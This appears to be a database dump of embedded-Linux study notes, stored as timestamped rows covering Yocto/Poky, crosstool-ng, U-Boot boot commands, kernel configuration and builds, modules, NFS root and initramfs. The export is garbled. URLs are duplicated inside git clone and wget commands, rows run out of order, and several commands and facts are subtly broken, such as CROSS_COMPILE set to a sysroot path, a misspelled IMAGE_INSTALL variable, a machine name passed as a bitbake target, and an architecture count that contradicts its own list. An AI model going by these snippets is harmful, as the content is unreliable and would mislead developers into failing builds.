`bitbake` subdirectory of Poky. text txt 2024-07-28 10:06:55.438789 0 +4230 1088 The OpenEmbedded Core metadata collection provides the engine of the Poky\nbuild system. It provides the core features and aims to be generic and as\nlean as possible. It supports seven different processor architectures (ARM,\nARM64, x86, x86-64, PowerPC, PowerPC 64, MIPS, MIPS64, RISC-V32, and RISC-V\n64), only supporting platforms to be emulated by QEMU. text txt 2024-07-28 10:06:55.744418 0 +4231 1088 The OpenEmbedded Core houses its metadata inside the `meta` subdirectory of\nPoky. text txt 2024-07-28 10:06:55.765607 0 +4232 1089 The metadata includes recipes and configuration files. It is composed of a\nmix of Python and Shell Script text files, providing a tremendously flexible\ntool. Poky uses this to extend OpenEmbedded Core and includes two different\nlayers, which are other metadata subsets, shown as follows: text txt 2024-07-28 10:06:56.136312 0 +4233 1089 - `meta-poky`: This layer provides the default and supported distribution\n policies, visual branding, and metadata tracking information (maintainers,\n upstream status, and so on). This is to serve as a curated template that\n could be used by distribution builders to seed their custom distribution.\n- `meta-yocto-bsp`: This provides the Board Support Package (BSP) used as the\n reference hardware for the Yocto Project development and Quality Assurance\n (QA) process. text txt 2024-07-28 10:06:56.158254 0 +4234 1090 The Yocto Project has a release every six months, in April and October. text txt 2024-07-28 10:06:56.489993 0 +4235 1090 The support for the stable release is for 7 months, offering 1 month of\noverlapped support for every stable release. The LTS release has a minimal\nsupport period of 2 years, optionally extended. After the official support\nperiod ends, it moves to Community support and finally reaches End Of Life\n(EOL). text txt 2024-07-28 10:06:56.511947 0 +4236 1090 `Initial Release -> Stable Release -> Community -> End of Life` text txt 2024-07-28 10:06:56.53282 0 +4237 1091 git clone https://git.yoctoproject.org - https://git.yoctoproject.org/poky code txt 2024-07-28 10:06:56.798526 0 +4238 1092 source oe-init-build-env code txt 2024-07-28 10:06:57.031381 0 +4239 1093 *config/local.conf*\nMACHINE ??= "qemux86-64" code txt 2024-07-28 10:06:57.293432 0 +4240 1094 The board should be physically connected to the host using USB to Serial\ncable. text txt 2024-07-28 10:06:57.876981 0 +4241 1094 The program which can be used to connect the board with a TTY are as follows: text txt 2024-07-28 10:06:57.89565 0 +4242 1094 * minicom\n* picocom\n* gtkterm\n* putty\n* screen\n* tio text txt 2024-07-28 10:06:57.915534 0 +4243 1095 picocom --baud 115200 /dev/ttyUSB0 code txt 2024-07-28 10:06:58.281528 0 +4244 1095 In case you don't have enough permission to run this command, you need to add\nyour user into the `dialout` group: text txt 2024-07-28 10:06:58.302335 0 +4245 1095 usermod -G -a dialout brian code txt 2024-07-28 10:06:58.32357 0 +4246 1096 gcc -v code txt 2024-07-28 10:06:58.55812 0 +4247 1097 gcc -v -o program source.c code txt 2024-07-28 10:06:58.778067 0 +4248 1098 file executable code txt 2024-07-28 10:06:58.996478 0 +4249 1099 strip executable code txt 2024-07-28 10:06:59.223948 0 +4250 1100 gcc -c main.c\ngcc -c util.c\ngcc -o program main.o util.o code txt 2024-07-28 10:06:59.491696 0 +4251 1101 nm executable code txt 2024-07-28 10:06:59.724092 0 +4252 1102 C libraries and compiled programs need to interact with the kernel. Available\nsystem calls, many constant definitions and data structures are defined in\nkernel headers. Therefore, compiling C libraries require kernel headers. text txt 2024-07-28 10:07:00.142681 0 +4253 1102 Kernel headers can be found in the kernel source tree in `include/uapi` and\n`arch//include/uapi`. These headers can be included in C source files\nas `` and ``. text txt 2024-07-28 10:07:00.162799 0 +4254 1102 To install kernel headers, run the following `make` target in the kernel\nsource tree: text txt 2024-07-28 10:07:00.183015 0 +4255 1102 make headers_install code txt 2024-07-28 10:07:00.204482 0 +4256 1103 `-march` option is used to set processor architecture, e.g. armv6, armv7,\naarch64, x86\\\\_64, etc. `-mtune` option is used to set processor specific\noptimization, e.g. bcm2835, bcm2711, etc. text txt 2024-07-28 10:07:00.501313 0 +4257 1103 gcc -march armv6 -mtune bcm2835 source.c code txt 2024-07-28 10:07:00.521879 0 +4258 1104 Some utilities automate the process of building the toolchains: text txt 2024-07-28 10:07:00.829506 0 +4259 1104 * [Crosstool-ng](https://crosstool-ng.github.io)\n* [Buildroot](https://buildroot.org)\n* [PTXdist](https://ptxdist.org)\n* [OpenEmbedded](https://openembedded.org)\n* [Yocto project](https://yoctoproject.org) text txt 2024-07-28 10:07:00.850245 0 +4260 1105 git clone https://github.com - https://github.com/crosstool-ng/crosstool-ng.git\ncd crosstool-ng\n./bootstrap\n./configure --prefix $HOME/.local\nmake -j8\nmake install code txt 2024-07-28 10:07:01.179237 0 +4261 1106 ct-ng list-samples code txt 2024-07-28 10:07:01.407107 0 +4262 1107 Prefix target with `show-` to see the configuration information: text txt 2024-07-28 10:07:01.833202 0 +4263 1107 ct-ng show-armv6-unknown-linux-gnueabihf code txt 2024-07-28 10:07:01.853004 0 +4264 1107 Or just run `show-config` to see the current configuration information: text txt 2024-07-28 10:07:01.872271 0 +4265 1107 ct-ng show-config code txt 2024-07-28 10:07:01.89309 0 +4266 1107 Note that `.config` file should be available in the later case. text txt 2024-07-28 10:07:01.913301 0 +4267 1108 ct-ng armv6-unknown-linux-gnueabihf code txt 2024-07-28 10:07:02.143112 0 +4268 1109 Crosstool-ng uses kernel build system `Kbuild` and kernel configuration\nsystem `Kconfig` to configure and build the cross-toolchain. text txt 2024-07-28 10:07:02.454268 0 +4269 1109 ct-ng menuconfig\nct-ng nconfig\nct-ng qtconfig code txt 2024-07-28 10:07:02.47543 0 +4270 1110 ct-ng show-tuple code txt 2024-07-28 10:07:02.699266 0 +4271 1111 ct-ng source code txt 2024-07-28 10:07:02.918447 0 +4272 1111 Origin: text txt 2024-07-28 10:07:02.939135 0 +4273 1112 Indicate a the number of parallel jobs behind the `build` target after a dot: text txt 2024-07-28 10:07:03.189452 0 +4274 1112 ct-ng build.8 code txt 2024-07-28 10:07:03.211121 0 +4275 1113 ${CROSS_COMPILE}gcc -L$(${CROSS_COMPILE}gcc -print-sysroot)/lib -I$(${CROSS_COMPILE}gcc -print-sysroot)/include -march armv6 -mtune bcm2835 -o program source.c code txt 2024-07-28 10:07:03.445832 0 +4276 1114 Obtain the U-Boot source tree from GitHub: text txt 2024-07-28 10:07:03.959143 0 +4277 1114 git clone https://github.com - https://github.com/u-boot/u-boot.git\ncd u-boot code txt 2024-07-28 10:07:03.98065 0 +4278 1114 Configuration files are stored in `configs/` directory. text txt 2024-07-28 10:07:04.001619 0 +4279 1114 To check if your desired board is already supported by U-Boot, check if there is a match for that board in the `boards.cfg` file. text txt 2024-07-28 10:07:04.024748 0 +4280 1114 To use one of the configuration entries in `configs/` use `make` utility: text txt 2024-07-28 10:07:04.04571 0 +4281 1114 make CROSS_COMPILE=$(arm-unknown-linux-gnueabihf-gcc -print-sysroot) ARCH=armv6 raspberrypizero_defconfig\nmake CROSS_COMPILE=$(arm-unknown-linux-gnueabihf-gcc -print-sysroot) ARCH=armv6 menuconfig code txt 2024-07-28 10:07:04.066728 0 +4282 1115 There are as many tools as there are filesystems to load an image into RAM: text txt 2024-07-28 10:07:04.601571 0 +4283 1115 *FAT filesystem*\nfatload usb 0:1 0x21000000 zImage code txt 2024-07-28 10:07:04.622447 0 +4284 1115 *EXT4 filesystem*\next4load usb 0:1 0x21000000 zImage code txt 2024-07-28 10:07:04.643512 0 +4285 1115 There are similarly other tools: text txt 2024-07-28 10:07:04.664437 0 +4286 1115 * fatinfo, fatls, fatsize, fatwrite, ...\n* ext2info, ext2ls, ext2size, ext2write,...\n* ext3info, ext3ls, ext3size, ext3write,...\n* ext4info, ext4ls, ext4size, ext4write,...\n* sqfsinfo, sqfsls, sqfssize, sqfswrite,... text txt 2024-07-28 10:07:04.684576 0 +4287 1116 tftp code txt 2024-07-28 10:07:04.910165 0 +4288 1117 ping code txt 2024-07-28 10:07:05.156508 0 +4289 1118 `loads`, `loadb`, `loady` commands. text txt 2024-07-28 10:07:05.334893 0 +4290 1119 ping code txt 2024-07-28 10:07:05.559483 0 +4291 1120 mmc code txt 2024-07-28 10:07:05.788793 0 +4292 1121 nand code txt 2024-07-28 10:07:06.005149 0 +4293 1122 erase\nprotect\ncp code txt 2024-07-28 10:07:06.276556 0 +4294 1123 md code txt 2024-07-28 10:07:06.499443 0 +4295 1124 mm code txt 2024-07-28 10:07:06.717242 0 +4296 1125 bdinfo code txt 2024-07-28 10:07:06.941318 0 +4297 1126 printenv\nprintenv code txt 2024-07-28 10:07:07.186246 0 +4298 1127 setenv code txt 2024-07-28 10:07:07.404217 0 +4299 1127 Origin 10:20:00 text txt 2024-07-28 10:07:07.426006 0 +4300 1128 editenv code txt 2024-07-28 10:07:07.644381 0 +4301 1129 saveenv code txt 2024-07-28 10:07:07.873004 0 +4302 1130 Commands will be executed after a configurable delay `bootdelay`, if process\nis not interrupted. text txt 2024-07-28 10:07:08.143622 0 +4303 1130 setenv bootcmd 'tftp 0x21000000 zImage; tftp 0x22000000 dtb; bootz 0x21000000 - 0x22000000' code txt 2024-07-28 10:07:08.165638 0 +4304 1131 setenv bootargs '' code txt 2024-07-28 10:07:08.396113 0 +4305 1132 * `serverip`\n* `ipaddr`\n* `netmask`\n* `ethaddr` text txt 2024-07-28 10:07:08.632481 0 +4306 1133 After using `tftp`, `fatload`, `nand read...`, etc. commands, the size of\ncopy can be seen by: text txt 2024-07-28 10:07:08.918374 0 +4307 1133 filesize code txt 2024-07-28 10:07:08.94016 0 +4308 1134 U-Boot shell uses the same conditional expression as Bash: text txt 2024-07-28 10:07:09.200199 0 +4309 1134 setenv mmc-boot 'if fatload mmc 0 80000000 boot.ini; then source; else if fatload mmc 0 80000000 zImage; then run mmc-do-boot; fi; fi' code txt 2024-07-28 10:07:09.221197 0 +4310 1135 setenv \nrun code txt 2024-07-28 10:07:09.468679 0 +4311 1136 The same way that Unix shell references variables using braces: text txt 2024-07-28 10:07:09.724226 0 +4312 1136 ${variable-name} code txt 2024-07-28 10:07:09.743679 0 +4313 1137 When a command is used to load some file into RAM as follows: text txt 2024-07-28 10:07:10.098612 0 +4315 1137 Then by executing `source` command, the contents within `boot.ini` file which\nwas recently loaded will be read. This file should obbey the syntax of U-Boot\nshell variables. By reading these variables, the boot sequence can be changed\naccordingly. text txt 2024-07-28 10:07:10.141753 0 +4316 1138 editenv bootcmd\nsaveenv code txt 2024-07-28 10:07:10.401459 0 +4317 1139 res code txt 2024-07-28 10:07:10.652091 0 +4318 1140 The official `raspbberypi` repository holds the `boot` directory where\n`start.elf` file and the device tree files can be found: text txt 2024-07-28 10:07:10.975803 0 +4319 1140 wget -c 'https://github.com - https://github.com/raspberrypi/firmware/blob/master/boot/start.elf'\nwget -c 'https://github.com - https://github.com/raspberrypi/firmware/blob/master/boot/bcm2708-rpi-zero.dtb' code txt 2024-07-28 10:07:10.998099 0 +4320 1141 1. Boot loader (Raspberry Pi specific SPL)\n2. Kernel image\n3. Device trees text txt 2024-07-28 10:07:11.760338 0 +4321 1141 First download Raspberry Pi device specific SPL and device tree binary files. text txt 2024-07-28 10:07:11.781032 0 +4322 1141 wget -c 'https://github.com - https://github.com/raspberrypi/firmware/blob/master/boot/start.elf'\nwget -c 'https://github.com - https://github.com/raspberrypi/firmware/blob/master/boot/bcm2708-rpi-zero.dtb' code txt 2024-07-28 10:07:11.801501 0 +4323 1141 Then partition the SD card which is used to attach to the device: text txt 2024-07-28 10:07:11.821914 0 +4324 1141 fdisk /dev/sda code txt 2024-07-28 10:07:11.843348 0 +4325 1141 Create a 100M sized partition and set the bootable flag.\nThen format that bootable partition with vfat filesystem: text txt 2024-07-28 10:07:11.863636 0 +4326 1141 mkfs -t vfat /dev/sda1 code txt 2024-07-28 10:07:11.883647 0 +4327 1141 Mount it and then copy `u-boot.bin`, `start.elf` (raspberrypi repository),\n`bcm2708-rpi-zero.dtb` (raspbberypi repository) files into the filesystem: text txt 2024-07-28 10:07:11.903625 0 +4328 1141 mount /dev/sda1 /mnt\ncp * /mnt\numount /mnt code txt 2024-07-28 10:07:11.924127 0 +4329 1142 qemu-system-arm --machine help code txt 2024-07-28 10:07:12.166908 0 +4330 1143 qemu-system-arm --machine raspi0 --nographic --kernel u-boot code txt 2024-07-28 10:07:12.388246 0 +4331 1144 git format-patch text txt 2024-07-28 10:07:12.575331 0 +4332 1145 export ARCH=arm\nexport CROSS_COMPILE=arm-black-linux-gnueabi- code txt 2024-07-28 10:07:12.860711 0 +4333 1146 cp /boot/config-$(uname -r) .config\nzcat /proc/config.gz > .config code txt 2024-07-28 10:07:13.123293 0 +4334 1147 make savedefconfig\nmv defconfig arch//configs/custom_defconfig code txt 2024-07-28 10:07:13.384487 0 +4335 1148 * `bool`: `true`, `false`\n* `tristate`: `true`, `module`, `false`\n* `int`\n* `hex`: `CONFIG_PAGE_OFFSET=0xC0000000`\n* `string`: `CONFIG_LOCAL_VERSION=-no-network` text txt 2024-07-28 10:07:13.772582 0 +4336 1148 menuconfig ATA\n tristate "Serial ATA and Parallel ATA drivers (libata)" code txt 2024-07-28 10:07:13.79379 0 +4337 1149 * `depends on`: option B that depends on option A is not visible until option\n A is enabled.\n* `select`: option B that depends on option A, when option A is enabled,\n option B is automatically enabled. text txt 2024-07-28 10:07:14.228744 0 +4338 1149 menuconfig ATA\n tristate "Serial ATA and Parallel ATA drivers (libata)"\n depends on HAS_IOMEM\n depends on BLOCK\n select SCSI\n select GLOB code txt 2024-07-28 10:07:14.250382 0 +4339 1150 make -j8 code txt 2024-07-28 10:07:14.505256 0 +4340 1151 export CROSS_COMPILE="ccache arm-black-linux-gnueabi-" code txt 2024-07-28 10:07:14.75458 0 +4341 1152 * `vmlinuz`: raw uncompressed kernel image for debugging\n* `arch//boot/\\\\*Image`: `(bzImage, zImage, Image.gz)` final and usually compressed kernel image that can be booted\n* `arch//boot/dts/\\\\*.dtb`: compiled device tree files\n* `.ko`: kernel object files spread over the kernel source tree text txt 2024-07-28 10:07:15.034544 0 +4342 1153 * `make install`\n* `make modules_install`\n* `make headers_install`\n* `make dtb_install` text txt 2024-07-28 10:07:15.313265 0 +4343 1154 make install code txt 2024-07-28 10:07:15.560842 0 +4344 1155 * `/boot/vmlinuz-`: compressed kernel image, same as the one in `arch//boot`\n* `/boot/System.map-`: store kernel symbol addresses for debugging purposes\n* `/boot/config-`: kernel configuration for this version text txt 2024-07-28 10:07:15.797345 0 +4345 1156 The kernel image, device tree blobs, and kernel modules will be needed to\nboot up a device. text txt 2024-07-28 10:07:16.159333 0 +4346 1156 cp arch//boot/Image /mnt/\ncp arch//boot/dts//.dtb /mnt/\nmkdir /mnt/rootfs\nmake modules_install INSTALL_MOD_PATH=/mnt/rootfs code txt 2024-07-28 10:07:16.181089 0 +4347 1157 make modules_install code txt 2024-07-28 10:07:16.441277 0 +4348 1158 make INSTALL_MOD_PATH=/srv/nfs4/root modules_install # for NFS filesystem\nmake INSTALL_MOD_PATH=/mnt # for Flash, SD Card, NAND filesystems code txt 2024-07-28 10:07:16.703629 0 +4349 1159 Artifacts will be installed in `/lib/modules//`: text txt 2024-07-28 10:07:17.005031 0 +4350 1159 * `kernel/`: all `.ko` files in the same directory structure as in the source.\n* `modules.alias`, `modules.alias.bin`: used by udev to find drivers for devices.\n* `modules.dep`, `modules.dep.bin`: module dependencies mapping.\n* `modules.symbols`, `modules.symbols.bin`: tells which module a given symbol belongs to. text txt 2024-07-28 10:07:17.025944 0 +4351 1160 * `make clean`\n* `make mrproper`\n* `make distclean` text txt 2024-07-28 10:07:17.283174 0 +4352 1161 git archive --prefix=black-linux-6.2/ -o /tmp/black-linux-6.2.tar.gz 6.2 code txt 2024-07-28 10:07:17.556309 0 +4353 1162 Some devices don't have the capability of introducing themselves to the\nkernel. This is where the device developers should write device descriptions\nin a device tree source file to let the kernel know how to deal with this\ndevice. text txt 2024-07-28 10:07:17.877954 0 +4354 1162 code txt 2024-07-28 10:07:17.899176 0 +4355 1163 Device tree source has a hierarchical structure, first describing the inner\ndetails of a device and then outer layers. This allows us to add features or\nchange specific aspects of hardware in the source. text txt 2024-07-28 10:07:18.135349 0 +4356 1164 bootz X - Y (zImage)\nbootm X - Y (uImage)\nbooti X - Y (Image) code txt 2024-07-28 10:07:18.4353 0 +4357 1165 setenv serverip 192.168.0.2\nsetenv ipaddr 192.168.0.3\nsetenv bootargs 'console=ttyS0,115200 8250.nr_uarts=1 swiotlb=128 maxcpu=1' # rasbperry pi specific\nsaveenv\ntftp ${kernel_addr_r} Image\ntftp ${fdt_addr-r} .dtb\nbooti ${kernel_addr_r} code txt 2024-07-28 10:07:18.795527 0 +4358 1166 setenv bootcmd "load mmc 0:1 ${kernel_addr_r} Image; load mmc 0:1 ${fdt_addr_r} .dtb; booti ${kernel_addr_r} - ${fdt_addr_r};"\nsaveenv\nres code txt 2024-07-28 10:07:19.071684 0 +4359 1167 setenv bootcmd 'tftp ${kernel_addr_r} Image; tftp ${fdt_addr_r} .dtb; booti ${kernel_addr_r} - ${fdt_addr_r}'\nsaveenv\nres code txt 2024-07-28 10:07:19.350881 0 +4360 1168 The kernel command line is a string that defines various arguments to the\nkernel to change its behavior. text txt 2024-07-28 10:07:19.690193 0 +4361 1168 root=/dev/mmcblk0p2 rootwait\nconsole=ttyS0 code txt 2024-07-28 10:07:19.710205 0 +4362 1169 The most important ones are documented in admin-guide/kernel-parameters in\ndocumentation. text txt 2024-07-28 10:07:19.925868 0 +4423 1195 sed -i '/^MACHINE[ ?=]\\\\+/s/^MACHINE\\\\([ ?=]\\\\+\\\\).*/MACHINE\\\\1"qemuarm64"/' conf/local.conf code txt 2024-07-28 10:07:30.297526 0 +4933 1398 Origin: Effectively use module commands text txt 2024-07-28 10:08:56.078902 0 +4363 1170 1. Passed by the bootloader, `bootargs` in U-Boot.\n2. Specified in the device tree.\n3. Built into the kernel using `CONFIG_CMDLINE` config option.\n4. A combination of above depending on the kernel configuration. text txt 2024-07-28 10:07:20.17955 0 +4364 1171 These files are generated when you run `make modules_install`: text txt 2024-07-28 10:07:20.493459 0 +4365 1171 /lib/modules//modules.dep\n/lib/modules//modules.dep.bin code txt 2024-07-28 10:07:20.513927 0 +4366 1172 The kernel log buffer is circular. text txt 2024-07-28 10:07:20.800568 0 +4367 1172 sudo journalctl -k code txt 2024-07-28 10:07:20.821244 0 +4368 1173 console=ttyS0 root=/dev/mmcblk0p2 loglevel=5\nconsole=ttyS0 root=/dev/mmcblk0p2 quiet code txt 2024-07-28 10:07:21.086145 0 +4369 1174 echo "Debug info" > /dev/kmsg code txt 2024-07-28 10:07:21.323262 0 +4370 1175 Modules residing in `/lib/modules` will not need `.ko` extension. text txt 2024-07-28 10:07:21.646696 0 +4371 1175 sudo modinfo \nsudo modinfo .ko code txt 2024-07-28 10:07:21.668613 0 +4372 1176 lsmod code txt 2024-07-28 10:07:21.949514 0 +4373 1176 This tool will list the content of `/proc/modules` in a human readable form. text txt 2024-07-28 10:07:21.969884 0 +4374 1177 A complete path to the kernel object file is required by `insmod`. text txt 2024-07-28 10:07:22.282506 0 +4375 1177 sudo insmod .ko code txt 2024-07-28 10:07:22.304313 0 +4376 1177 Arguments can be given to the modules after module name. text txt 2024-07-28 10:07:22.324718 0 +4377 1178 sudo modprobe code txt 2024-07-28 10:07:22.563078 0 +4378 1179 You can find modprobe configuration file in `/etc/modprobe.d/` directory. text txt 2024-07-28 10:07:22.876255 0 +4379 1179 */etc/modprobe.d/usb-storage.conf*\noptions usb-storage delay_use=0 code txt 2024-07-28 10:07:22.897108 0 +4380 1180 usb-storage.delay_use=0 code txt 2024-07-28 10:07:23.148596 0 +4381 1181 `/sys/module//parameters/` text txt 2024-07-28 10:07:23.472213 0 +4382 1181 Some modules give you write access to module parameters. text txt 2024-07-28 10:07:23.492235 0 +4383 1181 echo 0 > /sys/module/usb_storage/parameters/delay_use code txt 2024-07-28 10:07:23.512319 0 +4384 1182 mount -t type device mountpoint text txt 2024-07-28 10:07:23.851276 0 +4385 1182 mount -t ext4 /dev/sda1 /mnt\nmount -t ext4 /dev/sda2 /mnt/boot\nmount -t ext4 /dev/sda3 /mnt/home code txt 2024-07-28 10:07:23.872452 0 +4386 1183 umount mountpoint text txt 2024-07-28 10:07:24.211821 0 +4387 1183 umount /mnt/boot\numount /mnt/home\numount /mnt code txt 2024-07-28 10:07:24.234186 0 +4388 1184 * Hard Disk\n* USB Key\n* SD Card\n* NAND Flash\n* NFS Protocol\n* Preloaded Filesystem (by bootloader) text txt 2024-07-28 10:07:24.692085 0 +4389 1184 *kernel parameter*\nroot=/dev/sdXY # Hard Disk or USB Key\nroot=/dev/mmcblkXpY # SD Card\nroot=/dev/mtdblockX # Flash Storage code txt 2024-07-28 10:07:24.713696 0 +4390 1185 **NFS Server** text txt 2024-07-28 10:07:25.308912 0 +4391 1185 */etc/exports*\n/srv/nfs4/root 192.168.1.111(rw,no_root_squash,no_subtree_check) code txt 2024-07-28 10:07:25.331324 0 +4392 1185 **NFS Client** text txt 2024-07-28 10:07:25.352404 0 +4393 1185 Following kernel configuration options should be enabled on client: text txt 2024-07-28 10:07:25.373454 0 +4394 1185 * `CONFIG_NFS_FS=y`\n* `CONFIG_IP_PNP=y`\n* `CONFIG_ROOT_NFS=y` text txt 2024-07-28 10:07:25.394317 0 +4395 1185 The kernel should also be booted with the following parameters: text txt 2024-07-28 10:07:25.416058 0 +4396 1185 root=/dev/nfs ip=192.168.1.111 nfsroot=192.168.1.110:/srv/nfs4/root/ code txt 2024-07-28 10:07:25.436577 0 +4397 1186 *qemu-ifup*\n#!/bin/sh\n/sbin/ip a add 192.168.0.1/24 dev $1\n/sbin/ip link set $1 up code txt 2024-07-28 10:07:26.075236 0 +4398 1186 qemu-system-arm -M virt -m 128M -nographic -kernel u-boot -cpu cortex-a8 -nic tap,script=./qemu-ifup,model=e1000 code txt 2024-07-28 10:07:26.096396 0 +4399 1186 *u-boot*\nsetenv ipaddr 192.168.0.20\nping 192.168.0.1\nsetenv serverip 192.168.0.1\nsetenv bootargs 'root=/dev/nfs ip=192.168.0.20 nfsroot=192.168.0.1:/srv/nfs4/root rw'\nsaveenv\ntftp ${kernel_addr_t} Image\nbooti ${kernel_addr_t} - 0x40000000 code txt 2024-07-28 10:07:26.118308 0 +4400 1187 cd root\nfind . | cpio -H newc -o > ../initramfs.cpio\ncd ..\ngzip initramfs.cpio code txt 2024-07-28 10:07:26.618326 0 +4401 1187 For U-Boot, include the archive in a U-Boot container: text txt 2024-07-28 10:07:26.638736 0 +4402 1187 mkimage -n 'Ramdisk Image' -A arm -O linux -T ramdisk -C gzip -d initramfs.cpio.gz uInitramfs\nbootz ${kernel_addr_t} ${initramfs_addr_t} ${fdt_addr_t} code txt 2024-07-28 10:07:26.658987 0 +4403 1187 In kernel config, use `CONFIG_INITRAMFS_SOURCE=/srv/nfs4/root/initramfs.cpio`. text txt 2024-07-28 10:07:26.680565 0 +4404 1188 The `devtmpfs` virtual filesystem can be mounted on `/dev` and contains all\nthe devices registered to kernel frameworks. The `CONFIG_DEVTMPFS_MOUNT`\nkernel configuration option makes the kernel mount it automatically at boot\ntime, except when booting on an initramfs. text txt 2024-07-28 10:07:26.962724 0 +4405 1189 mount -t proc nodev /proc code txt 2024-07-28 10:07:27.223118 0 +4406 1190 In `/proc` filesystem. text txt 2024-07-28 10:07:27.50442 0 +4407 1190 cat /proc//cmdline code txt 2024-07-28 10:07:27.526055 0 +4408 1191 * `/proc/interrupts`\n* `/proc/devices`\n* `/proc/iomem`\n* `/proc/ioports`\n* `/proc/cmdline`: contains kernel command line\n* `/proc/sys`: also known as *sysctl*, contains many files that can be written to adjust kernel parameters. text txt 2024-07-28 10:07:27.821163 0 +4409 1192 Represents buses, devices and drivers in the system.\nThis filesystem is usually used by `udev` or `mdev`. text txt 2024-07-28 10:07:28.129608 0 +4410 1192 mount -t sysfs nodev /sys code txt 2024-07-28 10:07:28.150774 0 +4411 1193 * Use the command specified by `init` kernel command line parameter.\n* Try running `/sbin/init`, `/bin/init`, `/etc/init`, and `/bin/sh`.\n* When `initramfs` used, only `/init` will run or `rdinit` kernel argument is used.\n* Kernel panic. text txt 2024-07-28 10:07:28.478719 0 +4412 1193 code txt 2024-07-28 10:07:28.498814 0 +4413 1194 *init.c*\n#include text txt 2024-07-28 10:07:29.106353 0 +4414 1194 int main(void)\n{\n fprintf(stdout, "Init program\\\\n");\n while (true);\n} code txt 2024-07-28 10:07:29.126618 0 +4415 1194 arm-black-linux-gnueabihf-gcc -o simple_init -static init.c\ncp simple_init /srv/nfs4/root/ code txt 2024-07-28 10:07:29.146589 0 +4416 1194 setenv bootargs 'console=ttyS0,115200 maxcpu=1 root=/dev/nfs ip=192.168.0.20 nfsroot=192.168.0.1:/srv/nfs4/root rw init=/simple_init'\nsaveenv\nres code txt 2024-07-28 10:07:29.167766 0 +4417 1195 First obtain the source tree: text txt 2024-07-28 10:07:30.175294 0 +4418 1195 git clone git://git.yoctoproject.org/poky code txt 2024-07-28 10:07:30.195482 0 +4419 1195 Import the build configurations and environments by sourcing the `oe-init-build-env` script file on the project's root directory. text txt 2024-07-28 10:07:30.21683 0 +4420 1195 source oe-init-build-env code txt 2024-07-28 10:07:30.237032 0 +4421 1195 Second argument can be specified as a custom directory path where artifacts will be generated.\nWhen not specified, `build` directory will be generated in the working directory. text txt 2024-07-28 10:07:30.257373 0 +4422 1195 Before building an image, you should edit and configure the `build/local.conf` file and set `MACHINE` variable to whatever target you desire, e.g. qemuarm, qemuarm64, qemux86-64, etc. text txt 2024-07-28 10:07:30.277787 0 +4937 1400 Only dynamically loaded modules. text txt 2024-07-28 10:08:56.629714 0 +4424 1195 Using `bitbake` utility which was sourced earlier build an image by choice: text txt 2024-07-28 10:07:30.317835 0 +4425 1195 bitbake core-image-minimal code txt 2024-07-28 10:07:30.337495 0 +4426 1195 There might be dependency packages to run `bitbake` on Arch Linux: text txt 2024-07-28 10:07:30.357271 0 +4427 1195 sudo pacman -Ss inetutils net-tools diffstat chrpath rpcscv-proto code txt 2024-07-28 10:07:30.378096 0 +4428 1195 An image was built to be run by `runqemu`: text txt 2024-07-28 10:07:30.400859 0 +4429 1195 runqemu core-image-minimal nographics code txt 2024-07-28 10:07:30.421204 0 +4430 1195 Origin: 1.2 text txt 2024-07-28 10:07:30.441744 0 +4431 1196 Add the following line to `build/local.conf` file: text txt 2024-07-28 10:07:30.783491 0 +4432 1196 ```\nIMAGE_INSTALL_append = " binutils"\n`````` text txt 2024-07-28 10:07:30.803347 0 +4433 1196 bitbake qemuarm64 core-image-minimal\nrunqemu core-image-minimal nographics code txt 2024-07-28 10:07:30.824168 0 +4434 1196 Origin: 1.2 text txt 2024-07-28 10:07:30.844817 0 +4435 1197 We just need to configure `conf/local.conf` file and add the following line before building an image: text txt 2024-07-28 10:07:31.316131 0 +4436 1197 ```\necho 'IMAGE_INSTALL_appen = " binutils"' >> conf/local.conf\n`````` text txt 2024-07-28 10:07:31.335455 0 +4437 1197 And the follow up all the steps required to build an image using `bitbake`: text txt 2024-07-28 10:07:31.356366 0 +4438 1197 git clone git://git.yoctoproject.org/poky\ncd poky\nsource oe-init-build-env\nsed -i '/^MACHINE[ ?=]\\\\+/s/^MACHINE\\\\([ ?=]\\\\+\\\\).*/MACHINE\\\\1"qemuarm64"/' conf/local.conf\nbitbake qemuarm64 core-image-sato\nrunqemu core-image-sato code txt 2024-07-28 10:07:31.377297 0 +4439 1197 Origin: 1.2 text txt 2024-07-28 10:07:31.397743 0 +4440 1198 - Applications to install\n- Architecture to use\n- License restrictions text txt 2024-07-28 10:07:31.649612 0 +4441 1199 - Bootloader such as U-Boot, GRUB, Syslinux etc.\n- Linux kernel image with added or removed features as necessary\n- Root filesystem usually called rootfs containing the files\n- List of licenses of packages included in the rootfs\n- The source for distribution to comply on the copyleft requirements text txt 2024-07-28 10:07:31.914783 0 +4442 1200 The build system used within the Yocto Project is *Poky* which is composed by\na set of files to provide the information required for the build system to\nwork. text txt 2024-07-28 10:07:32.117567 0 +4443 1201 - **Metadata** tool is a collection of Shell and Python scripts, and a custom\n configuration language, informing the steps needed to build, download the\n source code and other tasks related to a specific software application or\n library.\n- **BitBake** is the build orchastration tool, responsible to generate, order\n and run the tasks based on the information gathered from the metadata\n files. text txt 2024-07-28 10:07:32.412335 0 +4444 1202 There are two sub-modules in the Metadata component: text txt 2024-07-28 10:07:32.803753 0 +4445 1202 - **OpenEmbedded-Core:** the core infrastructure for the cross-compilation\n environment and offers the basic set of applications, libraries and\n utilities ready to used in Linux-based operating systems. Six different\n processor architectures (ARM, ARM64, x86, x86-64, PowerPC, MIPS and MIPS64)\n are supported in the system, and all tests and development is done using\n emulated machines, on QEMU.\n- **Yocto Project's Specific Metadata:** provided by the Yocto Project to\n configure the build system to fulfill Yocto Project needs and includes a\n set of board support packages (BSP). text txt 2024-07-28 10:07:32.826769 0 +4446 1203 - **Low level developers**\n + Board bring-up\n + Bootloader development\n + Kernel development\n + Device drvier development\n- **Application developers**\n + Application development\n + Application customization\n- **System architect**\n + Application list management\n + Software Development Kit (SDK) development\n + Integration into build system\n + Releases\n- **Legal authority**\n + License management text txt 2024-07-28 10:07:33.30344 0 +4447 1204 1. Board Bring-Up\n2. System Architecture and Design Choice\n3. Writing Embedded Applications\n4. Debugging and Optimizing Performance text txt 2024-07-28 10:07:33.645248 0 +4448 1205 1. Toolchain\n2. Bootloader\n3. Kernel\n4. Root filesystem\n5. Embedded Applications text txt 2024-07-28 10:07:33.889375 0 +4449 1206 1. CPU architecture\n2. Reasonable amout of RAM\n3. Non-volatile storage\n4. Serial port\n5. Debugging interface (e.g. JTAG) text txt 2024-07-28 10:07:34.148762 0 +4450 1207 * binutils **(base-devel)**: https://gnu.org - https://gnu.org/software/binutils\n* gcc **(base-devel)**: [https://gcc.gnu.org](https: - https://gcc.gnu.org](https://gcc.gnu.org)\n* C library + Linux header files text txt 